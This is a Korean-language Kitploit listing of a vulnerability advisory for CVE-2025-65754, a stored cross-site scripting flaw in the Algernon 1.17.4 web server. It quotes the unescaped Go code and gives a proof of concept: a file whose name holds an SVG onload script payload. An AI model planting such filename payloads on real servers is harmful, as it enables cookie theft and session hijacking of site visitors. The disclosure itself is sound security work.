Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/bnyt7/cve-2025-65754
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubbnyt7/cve-2025-65754

CVE-2025-65754

Algernon v1.17.4는 파일명에 조작된 페이로드를 통해 공격자가 임의 코드를 실행할 수 있게 하는 Cross-Site Scripting (XSS) 취약점의 영향을 받습니다.

저장소 보기
9개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-65754 : Algernon 1.17.4의 저장형 XSS

설명

Algernon v1.17.4는 교차 사이트 스크립팅(XSS) 취약점의 영향을 받으며, 공격자가 조작된 페이로드를 파일 이름에 삽입하여 임의 코드를 실행할 수 있습니다.

  • 영향 받는 프로젝트 : Algernon - 1.17.4
  • 프로젝트 관리자 : Alexander F. Rødseth (xyproto)
  • 취약점 유형 : 교차 사이트 스크립팅(XSS)
  • 공격 벡터 : 공격자는 악성 이름을 가진 파일을 업로드하여 웹사이트 콘텐츠를 변경하거나 쿠키를 도용하여 세션을 하이재킹할 수 있습니다.

일부 변수가 이스케이프되지 않았습니다. 예를 들어 :

engine/dirhandler.go lines 80-108

root@kitploit:~

filename := item.Name()  // Get filename from filesystem
// ...
buf.WriteString(themes.HTMLLink(filename, URLpath, ac.fs.IsDir(fullFilename)))

themes/html.go lines 124-132

root@kitploit:~
func HTMLLink(text, url string, isDirectory bool) string {
    if isDirectory {
        text += "/"
        url += "/"
    }
    return "<a href=\"/" + url + "\">" + text + "</a><br>
    // 'text' (filename) is inserted directly without HTML escaping
}

파일 시스템의 파일 이름이 디렉터리 목록에서 이스케이프 없이 HTML에 직접 삽입됩니다.

PoC

root@kitploit:~
$ algernon -v                                  
Algernon 1.17.4

디렉터리 내에 XSS 페이로드를 이름으로 하는 파일을 생성합니다.

root@kitploit:~
# XSS Payload 1: Simple alert
$touch "test.txt"

# XSS Payload 2: Event handler in filename
$touch "document<svg onload=alert(document.domain)>.svg"

동일한 저장소에서 애플리케이션을 실행합니다.

root@kitploit:~
algernon
root@kitploit:~
Server directory:       .
Server address:         :3000
Database:               Bolt (/tmp/algernon.db)
Cache mode:             On
Cache size:             1048576 bytes
TLS certificate:        cert.pem
TLS key:                key.pem
Request limit:          10/sec per visitor
Large file threshold:   44040192 bytes
Large file timeout:     10 sec
INFO[0000] Serving HTTP/2 on https://localhost:3000/    
ERRO[0000] open cert.pem: no such file or directory. Not serving HTTP/2. 
INFO[0000] Use the -t flag for serving regular HTTP.    
INFO[0000] Serving HTTP on http://localhost:3000/      

다음 URL을 방문하면 경고가 나타납니다.

onerror를 이용한 XSS 경고

document.location을 이용한 XSS 경고

파일들

이 문제는 v1.17.5에서 패치되었습니다.

참고 자료

  • https://algernon.roboticoverlords.org/
  • https://github.com/xyproto/algernon/releases/tag/v1.17.5
  • https://github.com/xyproto/algernon/commit/cd8832014a624a9aeab60566434c3344135e23f8

발견자 : Benoit H. (Bnyt7)

도구 다운로드